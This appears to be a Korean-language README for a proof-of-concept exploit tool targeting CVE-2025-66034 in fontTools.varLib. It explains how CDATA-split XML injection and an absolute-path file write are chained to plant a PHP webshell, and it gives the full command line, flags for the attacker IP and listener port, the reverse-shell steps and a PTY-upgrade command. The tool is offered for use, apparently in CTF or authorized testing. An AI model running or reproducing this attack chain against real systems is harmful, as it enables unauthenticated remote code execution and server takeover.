
CVE-2025-66034 - fontTools varLib Arbitrary File Write → RCE fontTools.varLib의 임의 파일 쓰기 + XML 삽입 취약점에 대한 PoC 익스플로잇
| # | 프리미티브 | 상세 |
|---|
| 1 | CDATA 분할을 통한 XML 인젝션 | <labelname> 내의 공격자 제어 콘텐츠가 출력 글꼴 파일 본문에 그대로 기록되어 임의 데이터를 주입할 수 있습니다. |
| 2 | os.path.join() 우회를 통한 임의 파일 쓰기 | <variable-font>의 filename 속성은 절대 경로를 허용합니다. os.path.join()에 전달되면 의도된 출력 디렉터리를 무시하고 공격자가 지정한 파일 시스템 경로에 쓸 수 있습니다. |
두 프리미티브를 연결하면 PHP 웹쉘을 웹 접근 가능 경로에 작성하여 인증되지 않은 원격 코드 실행을 달성할 수 있습니다.
python3 font_varlib.py \
--ip <공격자-ip> \
--port <포트> \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/portal.target.htb/public/files \
--shell http://portal.target.htb/files
| 플래그 | 설명 |
|---|---|
--ip | 리버스 셸 콜백을 위한 공격자 IP |
--port | 리스너 포트 |
--upload | 글꼴 처리 엔드포인트의 전체 URL (POST) |
--webroot | 웹 접근 가능 디렉터리에 매핑되는 서버 측 절대 경로 |
--shell | 웹쉘이 접근 가능한 기본 URL |
--no-listen | 자동 리스너 건너뛰기 — 대신 수동 명령 출력 |
--pwncat | nc 대신 pwncat-cs 사용 (가능하면 권장) |
pip install requests fonttools
.ttf 파일(source-light.ttf, source-regular.ttf)이 fontTools.FontBuilder를 사용하여 디자인스페이스에 필요한 마스터로 생성됩니다..designspace — 다음이 포함된 조작된 XML 파일이 빌드됩니다:
<labelname> 내부의 CDATA 분할을 통해 주입된 PHP 웹쉘os.path.join()을 통해 output_dir을 우회하는 <variable-font>의 filename으로 설정된 절대 쓰기 경로.designspace + 마스터 글꼴이 처리 엔드포인트로 POST됩니다..php 파일이 요청되어 리버스 셸 페이로드가 실행됩니다.python3 -c 'import pty; pty.spawn("/bin/bash")'를 통해 자동으로 PTY를 생성하고 TERM + stty를 설정하여 완전한 대화형 셸을 제공합니다.| 필드 | |
|---|---|
| CVE | CVE-2025-66034 |
| 영향을 받는 구성 요소 | fontTools.varLib |
| 영향 | 인증되지 않은 임의 파일 쓰기 → 원격 코드 실행 |
| 컨텍스트 | 글꼴 처리 엔드포인트를 노출하는 웹 애플리케이션 |
이 도구는 공인된 침투 테스트 및 CTF 사용만을 위해 제작되었습니다. 소유하지 않거나 명시적인 서면 허가를 받지 않은 시스템에 대해 실행하지 마십시오.
4nuxd 작성